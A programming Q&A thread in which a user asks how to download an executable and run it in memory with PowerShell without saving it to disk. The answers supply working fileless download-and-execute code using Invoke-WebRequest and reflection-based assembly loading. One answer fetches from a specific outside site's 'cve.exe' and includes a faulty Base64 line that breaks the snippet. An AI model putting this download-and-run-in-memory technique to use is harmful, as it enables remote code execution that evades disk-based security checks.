Muhammed Özen
Muhammed Özen

Reputation: 53

Executing Executables In Memory With Powershell

I have an executable on an internet page and I want to be able to run it without saving it to the local disk using powershell. It should basically function like iex but run an executable that's already in the memory and stored in some kind of variable. And again, I want to do all of that in Powershell.

Example.

(New-Object System.Net.WebClient).DownloadString("http://example.com") | iex

Here we can download scripts and run them in the memory without saving anything to the disk. But it's only a sequence of characters that we're executing here. Basically a powershell script. I want to run executables the same way. Is that possible? If so, how?

Upvotes: -2

Views: 16687

Answers (2)

mklement0
mklement0

Reputation: 439777

First, use Invoke-WebRequest to download your binary executable's content as a byte array ([byte[]]):

$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content

Then, assuming that the executable is a (compatible) .NET application:

  • Use .NET's ability to load an assembly from a byte array, then use reflection to directly execute this in-memory representation of your binary executable.
  • This answer shows the technique (based on a Base64-encoding string serving as the source of the byte array, but you can simply substitute your $bytes array in the linked code).

To spell out the solution based on the linked answer:

# Download the file as a byte[] array.
$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content

# Load the byte array as an assembly.
$assembly = [System.Reflection.Assembly]::Load($bytes)

# Get the static "Main" method that is the executable's entry point,
# assumed to be a member of a "Program" class.
$entryPointMethod = 
 $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
   GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')

# Invoke the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))

Note:

  • If the static Main method that serves as the entry point is not in a class called Program, a different approach is required to discover it: see this answer.

Upvotes: 3

fanbyprinciple
fanbyprinciple

Reputation: 790

for me it was necessary to use -usebasicparsing.

full snippet to download and execute in memory.

$bytes = (Invoke-WebRequest "https://budgetlc.com/wp-content/cve.exe" -UseBasicParsing ).Content
$bytes = [System.Convert]::FromBase64String($string)
$assembly = [System.Reflection.Assembly]::Load($bytes)

$entryPointMethod = 
 $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
   GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')

# Now you can call the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))

Upvotes: 2

Related Questions